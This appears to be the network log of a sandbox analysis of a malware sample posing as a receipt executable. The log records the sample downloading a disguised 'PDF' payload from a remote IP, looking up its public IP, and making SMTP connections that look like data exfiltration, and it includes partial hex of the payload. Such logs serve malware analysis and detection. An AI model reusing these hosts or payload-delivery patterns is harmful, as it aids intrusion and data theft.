Apr 20, 2024 10:23:58.832179070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832216024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832221031 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832253933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832299948 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832535982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832572937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832613945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832623959 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832650900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832686901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832698107 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832725048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832761049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832772017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832798004 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832834005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832844973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832870007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832906008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832917929 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.832942963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832981110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.832989931 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.833018064 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.833055019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.833065033 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.833091974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.833127975 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.833138943 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.833165884 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.833209991 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838392973 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838455915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838494062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838506937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838531017 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838572025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838587046 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838609934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838646889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838668108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838684082 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838721037 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838737965 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838762999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838812113 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838835001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838871002 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838907003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838923931 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.838944912 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838980913 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.838996887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839019060 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839056015 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839071035 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839092970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839128971 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839143038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839167118 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839219093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839330912 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839369059 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839406013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839417934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839442015 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839481115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839488983 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839517117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839565039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839627028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839663029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839698076 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839711905 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839735031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839773893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839785099 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839811087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839848042 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839859009 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.839886904 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.839930058 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:24:02.888375998 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:24:02.888484955 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:24:22.331118107 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:24:22.795036077 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:22.795123100 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:22.795217991 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:22.798629045 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:22.798676968 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.020572901 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.020692110 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.023632050 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.023659945 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.024014950 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.070194960 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.074867964 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.120141983 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.324932098 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.325138092 CEST	443	49722	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:23.325362921 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.327980042 CEST	49722	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:23.779267073 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:23.932764053 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:23.932923079 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:24.353084087 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.353815079 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:24.507337093 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.507359982 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.507610083 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:24.661345959 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.661657095 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:24.820612907 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.820864916 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:24.978142977 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:24.978544950 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.134524107 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:25.134696960 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.288217068 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:25.290030003 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.290077925 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.290112019 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.290112019 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:25.443301916 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:25.443346024 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:25.446571112 CEST	587	49723	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:25.492120981 CEST	49723	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:31.294331074 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:24:31.491765022 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.491811037 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:31.491878033 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.494992971 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.495008945 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:31.721786022 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:31.721869946 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.723557949 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.723571062 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:31.723892927 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:31.773324966 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.778007984 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:31.824117899 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:32.024991035 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:32.025140047 CEST	443	49724	104.26.12.205	192.168.2.5
Apr 20, 2024 10:24:32.025257111 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:32.027705908 CEST	49724	443	192.168.2.5	104.26.12.205
Apr 20, 2024 10:24:32.499670029 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:32.657516956 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:32.657614946 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:33.241050005 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.241369963 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:33.395324945 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.395343065 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.395627975 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:33.549527884 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.549799919 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:33.709498882 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.709743977 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:33.868622065 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:33.871786118 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.028599024 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:34.028764009 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.182538986 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:34.184251070 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.184323072 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.184346914 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.184365988 CEST	49725	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:24:34.337733030 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:34.337775946 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:34.341480970 CEST	587	49725	66.29.151.236	192.168.2.5
Apr 20, 2024 10:24:34.382725000 CEST	49725	587	192.168.2.5	66.29.151.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 10:23:31.481246948 CEST	49465	53	192.168.2.5	1.1.1.1
Apr 20, 2024 10:23:31.585971117 CEST	53	49465	1.1.1.1	192.168.2.5
Apr 20, 2024 10:24:22.684865952 CEST	58036	53	192.168.2.5	1.1.1.1
Apr 20, 2024 10:24:22.789393902 CEST	53	58036	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 20, 2024 10:23:31.481246948 CEST	192.168.2.5	1.1.1.1	0x479a	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:24:22.684865952 CEST	192.168.2.5	1.1.1.1	0x2a00	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 20, 2024 10:23:31.585971117 CEST	1.1.1.1	192.168.2.5	0x479a	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:23:31.585971117 CEST	1.1.1.1	192.168.2.5	0x479a	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:23:31.585971117 CEST	1.1.1.1	192.168.2.5	0x479a	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:24:22.789393902 CEST	1.1.1.1	192.168.2.5	0x2a00	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:24:22.789393902 CEST	1.1.1.1	192.168.2.5	0x2a00	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 20, 2024 10:24:22.789393902 CEST	1.1.1.1	192.168.2.5	0x2a00	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

5.34.182.232

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	5.34.182.232	80	6112	C:\Users\user\Desktop\Receipt_7814002.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 10:22:54.044672966 CEST	76	OUT	GET /sm/Tsgempx.pdf HTTP/1.1 Host: 5.34.182.232 Connection: Keep-Alive
Apr 20, 2024 10:22:54.284548998 CEST	1289	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:22:54 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b 2d aa 10 62 38 4d 8d db 2b f8 dd 31 78 63 4c c0 bb 89 e0 29 92 aa 56 3d 1a 72 19 2e bd ba c7 78 35 a1 77 7b e1 b1 df ff ab 19 aa 87 28 1c 93 05 f1 63 e3 c9 1f 6d dc 18 ad 7b 2b 73 5b 7e 8e 5c b2 42 f7 97 78 e8 2f b0 2e a0 b6 28 21 d8 53 70 9a b7 08 e9 fb 30 d6 26 5a 69 Data Ascii: Gh,K5Aac979+_JujBw.6h@'W:eZXJntR<_aHGC_TZDTMTu__y7Ol.2>u}FhiS=hP]W\7_It=PX<'%/CCb7T_1jQ>4{(dW#EZkCIJP}is_nT1_G}\v5o=/cV#SUj)2HaFG,b#EvE"ukZaDq&j\|pL'}7m0a2;xt=EPw r6viP%='fxf\Y5ye-]KQBurEE"3\|1*6Jubq6+b[Leo?anaC<7Xt$nf]p_x:{8&#+n+`<8q}`MO<zdw'doghW4'9L=GC/1{LP6J~f0j1o#J{(L>%i5bT/F14WC+ZcP@}+}vjudaB\|v_K$OE(/l`77XJ7^F8Uc^)~Gk-b8M+1xcL)V=r.x5w{(cm{+s[~\Bx/.(!Sp0&Zi
Apr 20, 2024 10:22:54.284693956 CEST	1289	IN	Data Raw: f5 4e c5 4d f7 4a 54 13 2a 42 99 0b 57 7d 6c 91 0b 4d 7f 49 c9 34 e9 8a 9f a9 83 9f bb 2d 7f 70 9f 73 1c 64 49 9d c2 d9 08 41 f9 2e aa 5a 77 9a 90 63 34 2d 42 b7 04 e4 26 5b 4d 55 03 ab 91 7b 2f 72 2b 0e b6 ce 0c 39 e1 81 98 7a 7d f4 ce 78 e5 2a Data Ascii: NMJTBW}lMI4-psdIA.Zwc4-B&[MU{/r+9z}x] lBqqgH+Noe*MAtOC_4.N@_D_&eKP{S7Gf5>1$Ps:egVg+8L5x7W-(~R_?~R
Apr 20, 2024 10:22:54.284712076 CEST	1289	IN	Data Raw: 2b 55 f0 d6 2c 40 91 c6 55 00 65 76 1d f4 47 d1 c6 92 f2 0a 30 f4 61 2e 39 ab 98 7f 60 6f 88 1b c8 23 85 d0 02 47 88 a8 0a da 5c a3 2e 99 71 74 5b 24 91 0e b0 2f e7 34 fd 81 3a 8c 11 02 3f 6f ba f3 13 3f 4b 9f ce 93 dc e1 fa 6a e7 7e 5e b2 a9 e8 Data Ascii: +U,@UevG0a.9`o#G\.qt[$/4:?o?Kj~^;ka[/2)!PBWLw6),g.e5=00ZNN:Cu_C_PBSH4%NhB)Mk/5,:z12;0dR%yT{Q
Apr 20, 2024 10:22:54.284729004 CEST	1289	IN	Data Raw: 3e d8 5d 15 25 27 64 69 b6 a7 22 58 d6 64 fb 2c f3 c0 be 08 c9 77 fa 18 58 e3 68 13 58 b1 84 52 98 7b 0b 7c 5b 65 16 54 67 79 a0 0f b4 43 68 56 48 fc ee 36 98 e8 d3 d2 50 f4 7b f6 2a ef 5b b9 20 07 3c 73 44 34 13 43 0e d2 35 69 7c b8 4c f6 9f a8 Data Ascii: >]%'di"Xd,wXhXR{\|[eTgyChVH6P{[ <sD4C5i\|L#,.H@K)poK4 zNZ~Af-QkS`[?-An?,ET(X^at#0AFT\B3Sp7Tu"`'tR(+^6H+
Apr 20, 2024 10:22:54.284744978 CEST	1289	IN	Data Raw: f5 a6 70 69 2b 25 52 57 c7 78 0b 88 0d e8 a0 06 da 9e a4 b5 64 d1 6d 4b 34 63 18 f6 20 26 7b c5 41 29 14 61 0a 36 68 a3 d3 d2 a9 63 ee 00 01 28 0a 06 ae 3b c7 d9 4c 79 82 f4 b1 a6 8a 87 43 73 c3 7d 1e 01 e1 c7 35 1b 95 17 46 e2 f6 1f ab 00 fd a5 Data Ascii: pi+%RWxdmK4c &{A)a6hc(;LyCs}5FP\|~TEN%RdO\)Ctx&r;@,^YYj2}+zl#laBpL^6##m W~pk5g1>h!\|<6
Apr 20, 2024 10:22:54.284754038 CEST	1289	IN	Data Raw: 96 4d e9 82 da cb 02 29 7a c9 a8 68 bf 5d d2 a2 a7 25 8a be 55 6e 36 ab 21 c8 38 6d b0 33 de b0 c8 4a e1 73 69 52 80 f3 0b 20 40 18 02 95 02 00 86 c3 a5 26 dd 10 3c 02 18 9c fe 67 9d 81 1f 7f bd ff 94 55 cb b1 e0 8b 28 74 e4 04 af 30 f8 34 b6 a7 Data Ascii: M)zh]%Un6!8m3JsiR @&<gU(t04f,5W=LM[IKE!C~P2.P*w;@J8yu/Le,W@ZYfZ$b{z<z^}{6<>P[KsI
Apr 20, 2024 10:22:54.284763098 CEST	1289	IN	Data Raw: 6a 46 59 f0 f7 09 5d 88 e0 bc ba 4a 5b 85 f8 0c 92 9f 1e 68 e0 00 3d c9 00 80 08 aa ba 3a 96 84 71 6e 65 5b 6e 07 fe 56 9f a1 de 4d b4 fb 90 57 a9 40 79 e5 11 96 b2 03 bd 26 26 b7 fb 4e a5 18 80 52 a1 0c 52 b7 1a 26 6c 29 59 33 eb 7b 73 00 4e d3 Data Ascii: jFY]J[h=:qne[nVMW@y&&NRR&l)Y3{sNQ6Z13A+a;UsKt\|^I%c{8'\|&XeQQXW@ PK49Iq?L{63x<Zp/1
Apr 20, 2024 10:22:54.284770966 CEST	1289	IN	Data Raw: 15 b0 46 22 12 61 2f 70 f5 c5 6c 14 c4 37 96 ec 83 a3 ac 4e a5 75 4b 4f 91 30 0e 48 48 8d b9 99 bd 69 f9 93 bf 2f 5e 0e a1 61 0a f5 d5 e9 c3 23 f5 d2 85 db 59 fc f7 77 93 66 97 01 e9 9b d3 f7 7d 7a 66 52 1a de 88 8c d2 9d 80 00 97 25 b5 41 e4 7a Data Ascii: F"a/pl7NuKO0HHi/^a#Ywf}zfR%AzgD~];W?@&%iTej/\|!>6,:4~I(n]S#ssj,Tiy'@NaA3~E<!iS+tDl2b#hER=RP~#)
Apr 20, 2024 10:22:54.284782887 CEST	1289	IN	Data Raw: 13 48 8b d6 0d 06 1e d5 02 8c 1d 3f a3 80 58 31 8a f7 60 82 67 66 18 2a 22 af d1 1b 00 0c 5d 59 55 e8 10 82 dc 2e d9 91 d9 72 e1 45 db c0 6d e4 a0 e5 63 88 12 0d fb 71 7d 62 53 a9 6f 81 2a 1b d7 dc c7 5f 0b 1c 79 07 22 ff 99 3a 24 3c ae 25 1a 07 Data Ascii: H?X1`gf"]YU.rEmcq}bSo_y":$<%O[\G^86s $=T"y3MIo}x1/2$A+;~cU AbaF8$8Tdcqy36BzWC?T'9e~
Apr 20, 2024 10:22:54.284800053 CEST	1289	IN	Data Raw: 4e c2 12 58 b7 bd a3 0f ab a0 85 32 f5 17 ae ee e3 4d 93 2e a2 64 14 b5 62 72 ac b4 37 eb a7 b6 a0 85 ac 28 88 8e 41 38 4d 00 5d f9 d0 6e cf 75 55 87 9a 46 ea 04 9b 0a 51 71 53 6c 0a 64 dc 65 5d 3c 6c ad c3 b3 40 05 a0 04 07 21 78 28 c3 91 76 bc Data Ascii: NX2M.dbr7(A8M]nuUFQqSlde]<l@!x(vX@ytX[C_R{\3uA\V]hl!b5fz;j(~%S3_sY0uKuGbIj`gj[`ErJJjD(B5pbN`=)W~`z;
